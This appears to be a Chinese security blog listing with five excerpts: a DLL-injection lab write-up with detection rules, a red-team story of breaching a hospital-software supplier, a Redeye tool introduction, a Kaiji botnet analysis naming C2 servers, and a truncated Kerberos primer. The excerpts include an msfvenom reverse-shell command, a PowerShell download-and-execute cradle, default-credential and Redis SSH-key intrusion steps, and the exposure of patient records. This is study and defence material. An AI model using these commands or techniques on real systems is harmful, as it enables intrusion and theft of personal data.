网站首页 包含标签 network 的所有文章

  • DLL注入的术与道:分析攻击手法与检测规则

    【前言】 在攻防对抗日渐常态化的今天,攻击者的攻击已变得越来越复杂和难以防御,而作为企业的防守人员,也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的,同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此,无论你是一名甲方安全人员、红队大佬,还是对网络安全感兴趣的个人,这篇文章都将会帮助你更好地理解DLL注入的工作原理,特征以及应对方式等。让我们一起开启本篇内容的学习吧!PS:因篇幅有点长,先把本篇目录列出,以帮助读者们更好地理解本篇要领! 【正文】 1、攻击假设 1.1、什么是DLL? DLL 本质上是可供其他程序使用的函数和数据的集合,可将其视为虚拟公共资源,Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵,进程注入的方法比较丰富,涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入:首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间,然后创建远程线程并执行,对应ATT&CK的T1055.001,该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像:Windows10(victim),kali(攻击)、Ubuntu22.04.2(日志分析)。 在Ubuntu20.04.2安装Wireshark与Volatility;方法参考其代码仓库。Kali已内置安全框架,直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件,如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config(Florian Roth)。安装完成后运行Powershell命令行:Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型:Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志,将配置并激活 ScriptBlock。以管理员运行Powershell,执行如下命令:1)更改powershell执行策略,以允许后续配置更改; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2)新建ScriptBlockLogging注册表路径; New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3)新增EnableScriptBlockLogging 属性为DWORD并设置为1; New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4)开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker:实时分析;Wireshark:流量分析。 3、攻击模拟 3.1 生成dll文件 (1)在Kali VM使用msfvenom生成payload,msfvenom是Metasploit框架中的组件。命令如下: sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机,此处代表Kali主机, Lport 表示监听的端口. -f 生成的文件类型,此处是dll。 成功执行后如下图所示: (2)使用python命令(python3 -m http.server 8008)构建简单的服务,在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后,将与恶意主机建立连接。效果如下: (3)接下来将在Kali启动脚本开启监听,为后续操作建立通道。执行如下命令: msfconsole:开启msf框架;use exploit/multi/handler:生成处理器;set payload windows/meterpreter/reverse_tcp:指定监听的地址与端口 当payload在目标系统上执行时,它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令: set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 (1)开启WireShark捕获数据包。选择正确的网卡设备进行监听 (2)清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端,运行以下两个命令: wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” (3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出,则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中,在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID,将其作为参数传递给注入脚本。运行以下命令: Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统,查看msf控制面板的输出,可观察到成功回连。如下图所示: 3.4 执行命令 连接成功后,可以进一步操作受控机器,比如下载文件或执行命令查看详细信息。执行过程如下所示: 3.5日志导出 以管理员打开powershell,输出sysmon与powershell script命令行日志,运行如下命令:Sysmon日志: wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志: wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 (1)首先,恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程,分别是:CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态,并返回快照。Process32First检索关于快照中第一个进程的信息,然后在循环中使用Process32Next对其进行迭代,但本次实验中未涉及上述步骤,而是指定目标进程ID,并将其作为参数传入。 (2)选取目标进程后,恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF,表示打开进程时获取了所有可能的权限,允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 (3)调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。(4)使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 (5)调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread),将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL),将该线程的执行地址设置为 $LoadLibraryAddr(kernel32.dll 中的 LoadLibraryA 函数),以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件,可以看到此模块包含三个函数:sub_10001000,sub_10001050,sub_100011A0,DllEntryPoint(导出函数),其中sub_10001050完成核心功能:实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值(StartupInfo、IpProcessInformation 结构体)、当前工作目录、环境变量、创建标志、句柄,随后创建rundll32.exe进程,再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码,如下图所示, 调用 WriteProcessMemory 函数,将地址为 unk_10003000 的数据块推送到堆栈中,写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能,可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码,如下图所示。除了完成以上功能外,该stager继续处理接收到的内容,首先开辟4字节的buffer用于接收第二阶段的stage,使用virtualAlloc开辟对应长度的空间,循环读取接收内容并记录当前地址ebx,最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾: (1)首先生成了一个恶意 DLL。(2)将此 DLL 传输到受害者的系统。(3)开启了meterpreter监听处理。(4)下载并执行powershell 脚本,将其注入到内存中。(5)运行合法进程(rufus.exe),将恶意 dll 注入到内存空间中。(6)注入的 DLL回连步骤3中的地址,从而建立连接。 (7)与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样:攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件,它可能会运行嵌入的 VBA 宏,其中包含恶意代码。它负责下载攻击脚本并将其注入内存;比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入,通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程,包括:网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令: netstat -naob 命令行参数包含 o 和 b,显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接,如下图所示: 它用于加载 DLL。那么问题来了:为什么它会参与出站网络连接?在日常情况下,应该立即查看有关该 IP 的更多信息。例如是内部地址,是否有与之相关的业务系统,是否网络上的其他系统也连接到它,通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息,例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下: tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常,查看PID=6256的父进程: wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称,如下图所示: wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数,因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考:目前发现2处异常点:(1)创建网络连接的进程及父子进程关系异常。 (2)该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性: 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker,筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 (1)Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe,随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL,此进程关系是比较可疑的。(2)Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名,此处暂无可疑信息。 (3)Current directory 在同一张图中,我们可以看到当前进程的工作目录是桌面,因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 (4)Command-line arguments 看到命令行是 rundll32.exe,之前讨论在合理场景下需要路径与命令行参数。 (5)Thread Start Address在“属性”窗口顶部,选择“线程”选项卡。可以在“开始地址”下看到它已被映射,表明文件它确实存在于磁盘上,表明这不是一个反射加载的 DLL。(6)Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间,在正常程序执行的过程中,很少有合法程序会写入内存然后立即执行它。 (7)Memory Content双击size为172 kB的memory,可查看加载的内容,从图中可看出: 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结:使用 Process Hacker发现异常点如下: rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境; rundll32.exe 从桌面运行; 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲,如果了解更多有关 Sysmon 的详细信息,推荐连接: (1)Sysmon详情:https://www.某tube.com/watch?v=6W6pXp6EojY(2)Trustedsec:https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 (3)Sysmon for threathunting:https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer,包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22,此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示: 命令行地址参数为raw.githubusercontent.com,因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后,会访问 Web 服务器下载另一个脚本(即Payload),此行为可能会产生 DNS请求记录,该记录是检测命令与控制行为重要指标。与IP地址类似,当我们发现有外联请求时,需要确定地址是否为业务正常请求,是否为服务合法地址,是否为威胁情报黑名单,是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接,此时evil.dll被注入rufus内存,rundll32创建网络连接,回连至攻击机器的88端口。 然后,发生三个注册表操作,事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示: 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。(备注:考虑恶意软件的行为,认为该值应该被设置为1 (DWORD (0x00000001)),表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0,待进一步解决。)下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同(DisableAntiSpyware),但是注意 TargetObject 的完整路径。第一个位于HKU\...下,而这里的位于HKLM\...下。HKU代表HKEY_USERS,HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息,而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户,第二个涉及整个系统。svchost.exe 进程以系统权限(最高级别的权限)运行,这使其能够修改系统范围的密钥。 在这里,我们可以看到与第一个条目中执行的操作相同,即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态(这就是删除它的实际效果),确保系统不会出现可能干扰恶意软件操作的配置。最后,观察到ID 为 1 的事件,该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件(raserver.exe)已经启动。该工具用于远程协助,允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问,类似于远程桌面,可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志,Powershell日志量相对较少,如下图所示。首先,PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中,我们可以看到与 PowerShell 命令相关的日志,该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中,从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此,当我们运行前面的 IEX 命令时,它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示,以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目,这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目,其中包含我们未显式运行的命令。由于时间戳完全相同,可以假设它们是由我们运行的命令(Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll)产生的。这些条目可能与程序集交互或分析程序集的过程有关,是 DLL 注入过程的一部分。 总结: 到目前为止我们没有深入分析攻击的过程与原理,但是通过日志我们能发掘较多异常点。在本节中,使用 Sysmon可疑收集到:(1)下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;(2)该恶意软件操纵了DisableAntiSpyware 注册表项;(3)该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe,从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到:(1)powershell从 Web 服务器下载脚本并将其注入内存; (2)使用特定命令行将脚本注入到rufus.exe中,同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包(响应),查看数据包详细信息可查看返回值不同的地址,可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC,例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后,我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证,然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包,然后选择“跟随”-“TCP 流”。可查看交换的整个数据流,虽然大部分内容被加密/混淆,但是在顶部我们看到魔术字节和 dos本文,显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下: rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数,日志详情如下所示:从日志内容看为进程启动日志,但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll,再从搜索结果中观察父子进程的关系。如下图所示: 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生,实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数,以event_id、image、commandLine为字段建立检测规则如下所示:以dllname、fuction聚合统计后建立阈值,关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll,这属于可疑程度很高的行为需要进一步结合其他数据进行判断,如下图所示:(2)进程路径Rundll32合法路径为两类: C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则:接下来统计出现过的路径值,尽一切可能建立正常的行为基线,排除正常路径值,关注异常值。例如以下场景就可能涉及恶意行为。(3)网络连接本次模拟中,rundll32 在网络通信行为只有一处,即回连攻击机的88端口。根据研究人员观察,rundll32的网络通信行为并不活跃,对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合:如果能结合进程启动日志,建立进程关系图就能更直观的展示行为序列,从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入,实际上至少有10种进程注入的实现方式,不同攻击方式可能对应不同的检测规则,后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法,欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

    2023-11-19 225
  • 记一次地市hw:从供应商到目标站再到百万信息泄露

    起因:某市hw、给了某医院的资产,根据前期进行的信息收集就开始打,奈何目标单位资产太少,唯有一个IP资产稍微多一点点,登录框就两个,屡次尝试弱口令、未授权等均失败。 事件型-通用性-反编译jar-Naocs-后台-供应商到目标站-批量检测-内网 1.事件型-通用型 尝试互联网获取更多目标资产的信息。fofa搜索IP发现这样一个系统,是通用型的系统(根据指纹和ico自动识别的)、大概100+单位,包括县级、市级等均用此系统。 由于之前有过类似的从供应商一路打到目标站的经历,这次猜测应该也可以 查看网站底部的备案号,发现并不是目标单位的,而是供应商的,于是开始针对供应商进行信息收集 定位到了某家公司,天眼查显示八个备案域名: 直接上enscan收集备案信息,随后根据收集到的所有备案域名,查找真实IP以及端口等 根据获取到的域名,用fofa直接反查IP、子域等等,经过筛选之后,共有八个真实IP 随后就是找端口、找指纹什么的,我喜欢用fofa,现在fofa支持批量搜索100个IP资产的功能,根据系统的ICO识别指纹很快 2.反编译jar 很快根据fofa的ico摸到了nexus系统:一个maven仓库管理器 弱口令:admin/admin、admin/admin123等均失败 弱口令尝试无果后,根据之前的反编译jar的思路,直接点击browse查看maven公开仓库 找项目仓库,发现了不少的jar包 直接下载jar包反编译查看敏感信息,包括spring鉴权口令以及redis口令均可查看 大概几十个jar包,挨个尝试敏感信息获取,将获取到的敏感信息存一个密码本中,留着撞库爆破用很快收集到了mysql用户名口令、oracle用户名口令、Redis信息、nacos口令信息、部分服务的ak/sk接口(比如人脸识别api、语言api等等),但大多都处于内网,一时无法利用。 3.Nacos 继续查看端口结果,发现其中一个IP,开放的端口很大,直到50000以上。其中一个端口48848瞬间引起了我的注意,因为nacos默认端口8848嘛,随后点开提示404(要的就是404),反手在路径处输入nacos,直接跳转到nacos登陆界面 尝试默认口令:nacos/nacos、test/123456、nacos/123456均失败,未授权添加用户以及获取用户名口令均失败、尝试jwt绕过登录等等也都失败…… 用刚刚反编译jar获取到的口令进行尝试,在尝试了几个之后,成功跳转到后台 随即: 有配置就有东西,直接翻找配置文件,找敏感信息、同样发现了redis、MySQL等连接信息、还有短信云服务的ak/sk、这些AK/SK大多都是可接入存储桶什么的、但是没东西,也没有云主机…… 4.通用型口令进后台 从nacos系统获取到的敏感信息继续添加到密码本中,继续找别的端口,发现了某端口下开放着和目标站点一模一样的系统界面,利用收集到的口令(密码本)尝试进行登陆供应商的系统: 尝试了几个之后。。成功以收集到的强口令登陆该系统 在某档案管理处发现4w+个人信息(身份证、手机、姓名、地址、病历等等) 在系统用户中找到3K+个人信息 翻找系统用户列表还发现系统用户还存在一个manager用户、但是默认管理员admin账户未找到,怀疑是系统开发商留下的默认用户admin,密码稍微有点复杂,大小写字母+数字+特殊符号组合。尝试利用该口令登陆该IP资产下的其它相同系统,均登录成功分别为1w+、14w+、5w+、24w+等众多敏感信息,均为不同的医院 根据每个系统的特点以及信息数量可以得到,系统存在开发商管理员用户名:admin和manager,且口令为开发商初始默认口令 5.从供应商到目标站 根据前期收集到的信息,直接以初始口令登录此次hw目标站点成功打入后台,先是1K+信息 在系统管理-用户管理中同样发现存在manager用户直接以默认口令尝试登陆 获取5K+敏感信息,查看接口可获取到未脱敏信息 6.afrog批量POC 前期fofa找出来的结果,大概100+系统用afrog编写批量爆破poc尝试登陆,result=1就是登录成功;afrog、就是快、准、狠 粗略估计一下,大概100w左右的数据,永远永远的好起来了…… 7.redis-供应商内网 根据前期获取到的redis口令,登陆redis成功,并且为root权限,尝试写入公钥getshell老样子,先用xshell生成公钥,将此公钥复制到liqun工具箱中,直接进行写入即可 在连接的时候踩坑了,因为目标主机开放的ssh端口过多,其中一个端口44622写入失败,换一个端口44722写入成功了。 接下来就是内网常规操作了…… ...

    2023-10-16 207
  • 如何使用Redeye在渗透测试活动中更好地管理你的数据

    关于Redeye Redeye是一款功能强大的渗透测试数据管理辅助工具,该工具专为渗透测试人员设计和开发,旨在帮助广大渗透测试专家以一种高效的形式管理渗透测试活动中的各种数据信息。 工具概览 服务器端面板将显示所有添加的服务器基础信息,其中包括所有者用户、打开的端口和是否已被入侵: 进入服务器之后,将显示一个编辑面板,你可以在其中添加目标服务器上发现的新用户、安全漏洞和相关的文件数据等: 用户面板包含了从所有服务器上发现的全部用户,用户信息通过权限等级和类型进行分类,用户的详细信息可以通过将鼠标悬停在用户名上以进行修改: 文件面板将显示当前渗透测试活动中相关的全部文件,团队成员可以上传或下载这些文件: 攻击向量面板将显示所有已发现的攻击向量,并提供严重性、合理性和安全风险图: 预报告面板中包含了当前渗透测试活动中的所有屏幕截图: 图表面板中包含了渗透测试过程中涉及到的全部用户和服务器,以及它们之间的关系信息: API允许用户通过简单的API请求来轻松获取数据: curl redeye.local:8443/api/servers --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq curl redeye.local:8443/api/users --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq   curl redeye.local:8443/api/exploits --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq 漏洞利用: 任务查看: 工具安装 Docker安装 首先,我们需要从该项目的GitHub代码库上拉取项目代码: git clone https://github.com/redeye-framework/Redeye.git 然后切换到项目目录中,并运行docker-compose: cd Redeye     docker-compose up -d 接下来,我们需要启动或关闭容器: sudo docker-compose start/stop 最后存储并加载Redeye即可: docker save ghcr.io/redeye-framework/redeye:latest neo4j:4.4.9 > Redeye.tar     docker load < Redeye.tar 源代码安装 由于该工具需要使用到Python 3环境,因此我们首先需要在本地设备上安装并配置好Python 3。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/redeye-framework/Redeye.git 然后切换到项目目录中,激活虚拟环境,并使用pip3工具和项目提供的requirements.txt文件安装该工具所需的其他依赖组件: cd Redeye     sudo apt install python3.8-venv   python3 -m venv RedeyeVirtualEnv   source RedeyeVirtualEnv/bin/activate   pip3 install -r requirements.txt 最后,执行数据库脚本和工具脚本即可: python3 RedDB/db.py     python3 redeye.py --safe 工具使用 工具运行后,将开始监听下列地址: http://0.0.0.0:8443 默认用户凭证如下: 用户名:redeye 密码:redeye Neo4j将监听下列地址: http://0.0.0.0:7474 默认登录凭证如下: 用户名:neo4j 密码:redeye 许可证协议 本项目的开发与发布遵循BSD-3-Clause开源许可证协议。 项目地址 Redeye:【GitHub传送门】 参考资料 https://github.com/azouaoui-med/pro-sidebar-template https://bootsnipp.com/snippets/Q0dAX https://www.jqueryscript.net/chart-graph/Drag-drop-Flow-Chart-Plugin-With-jQuery-jQuery-UI-flowchart-js.html http://danml.com/download.html http://www.dropzonejs.com https://www.iconfinder.com http://www.freepik.com https://codepen.io/jo_Geek/pen/NLoGZZ  ...

    2023-10-08 188
  • 断剑重铸?Kaiji僵尸网络正在重新构建

    概述 近日深信服威胁情报研究团队捕获到Kaiji僵尸网络的最新变种。该病毒最早在2020年出现,使用多种危害较高的漏洞发起攻击,试图感染服务器和物联网设备,能够发起分布式拒绝服务(DDoS)攻击。与其他IoT僵尸网络不同的是,Kaiji并没有从其他(开源或黑市论坛获取)成熟的恶意软件家族中直接套用攻击代码。 Kaiji僵尸网络病毒在最新的版本中发生了非常大的改动,采用最新的Golang1.18版本进行病毒程序编写(老版本采用Golang1.15版本),大大增加了安全人员分析和调试该病毒的难度,同时也进一步证实了越来越多的病毒开发者使用Golang语言的趋势。 Kaiji僵尸网络相对老版本代码被重构,函数功能更加聚焦,函数名不再采用中式拼音命名。最新的版本驻留功能非常强大,增加了多种持久化手段,但是传播模块相对较弱,这里猜测一下,作者正在逐渐更新功能模块,该病毒很可能会随着时间的推移进一步变得更加复杂,未来Kaiji或许会成为一款强大的僵尸网络。 Kaiji僵尸网络的整体攻击流程如下   情报分析 捕获的Kaiji僵尸网络主要使用多种高危RCE漏洞(GitLab未授权访问漏洞(CVE-2021-22205)和Atlassian Confluence OGNL注入漏洞(CVE-2021-26084))利用作为初始攻击。一旦病毒入侵了服务器或物联网设备,Kaiji僵尸网络就可以在其团伙的指挥下发动DDoS攻击。 当前版本的Kaiji持久化模块非常强大,使用超过8种驻留手段进行持久化。Kaiji僵尸网络还会窃取本地SSH密钥,并进一步发起SSH爆破攻击以感染互联网上其他暴露的设备。 Kaiji运行后,若检测自身文件名为dir、find、ls、lsof、netstat、ps、ss之一,则会伪装执行相应命令,复制自身到/tmp/seeintlog后运行。随后会将自身复制到/etc/id.services.conf: 生成shell脚本/etc/32678(传播模块为32679),定时执行/etc/id.services.conf: /etc/id.services.conf运行后,会创建协程,执行main_Link、main_Watchdog、main_Initetc、main_addtime、main_Killcpu。 通信模块[main_Link函数] 通信模块执行时,与C2服务器103.138.80.90:1111、dark1998.f3322.org:8080、156.96.156.105:8080进行通信,发送上线信息后,由main_receive函数等待接收并执行ipbegin、ipend、finish、unload、shell、reverse、remarks、http、ipspoof、tcp、udp、syn、tap等命令,包含执行shell命令、卸载自身、发动DDoS攻击等功能。 传播模块[main_Sshboom函数] 在老版本的Kaiji僵尸网络会窃取本地SSH密钥,进一步发起SSH爆破攻击,爆破成功后会下载执行相应CPU架构的驻留模块,例如:103.138.80.90:808/808/linux_amd64、linux_arm64、linux_mips。最新版本的Kaiji僵尸网络缺少传播模块功能,这里猜测作者正在逐一优化功能模块。 持久化模块[main_Initetc函数] 通过修改/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件实现自启动 利用chkconfig工具添加linux_kill服务,实现自启动 注册linux.service 安装SELinux策略模块 修改/etc/profile.d/bash_config.sh复制自身到/usr/lib/libdlrpcld.so添加定时任务,每隔一分钟执行/.img 替换dir、find、ls、lsof、netstat、ps、ss七个工具 尝试将自身进程名伪装为ksoftirqd/0   小结 Kaiji僵尸网络作者采用最新的Golang1.18版本重构,大幅更新持久化模块,整体复杂度也相比老版本明显增加。可以发现Kaiji正处于前中期发展的僵尸网络,未来作者可能在攻击模块和横向传播模块上进行更新迭代,从而导致Kaiji进一步变得复杂。 此外,鉴于Golang语言的跨平台等特点,近年来将其作为编程语言编码的恶意软件数量急剧增加,Kaiji僵尸网络也进一步证实了使用Golang语言开发恶意软件已成为一种趋势。 参考链接 https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ ...

    2023-09-03 329
  • 内网渗透:Kerberos认证协议安全性分析

    前言 要想进行内网渗透,可以说必须了解kerberos协议,可以说这是一个基础,本文总结了kerberos的认证流程以及可能出现的攻击方式。 Kerberos认证 kerberos认证是什么? Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。 Kerberos一词来源于希腊神话——一条凶猛的三头保卫神犬,用这个名字可能意味保护认证过程中的安全。 同时,Kerberos 是一种基于加密 Ticket 的身份认证协议。 kerberos的组成部分 Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service。如下图所示: 下面来看看每个部分具体的作用是什么 KDC:密钥分发中心,负责存储用户信息,管理发放票据,是Kerberos的核心部分。KDC默认是安装在域控中的。 由上图中可以看到 KDC 又分为两个部分: Authentication Server:AS 的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张 TGT(Ticket Granting Ticket)票给 Client。 Ticket Granting Server:TGS 的作用是通过 AS 发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票 ST)。ST(ServiceTicket)也有资料称为 TGS Ticket,为了和 TGS 区分,在这里就用 ST 来说明。 KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 client:想访问某个server的客户端,通常是域内主机。 server:提供某种业务的服务,如http,mysql等 域控内还存在AD,也就是活动目录,用于存储用户,用户组,域相关的信息。   kerberos的认证流程 从上图可以看出整个认证过程总共分成了6步,分为下面三个阶段。 AS_REQ & AS_REP TGS_REQ & TGS_REP AP-REQ & AP-REP 下面来详细看看各个阶段所完成的工作: AS_REQ 当域内的某个client想要访问某个服务时,输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求 请求内容是:Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 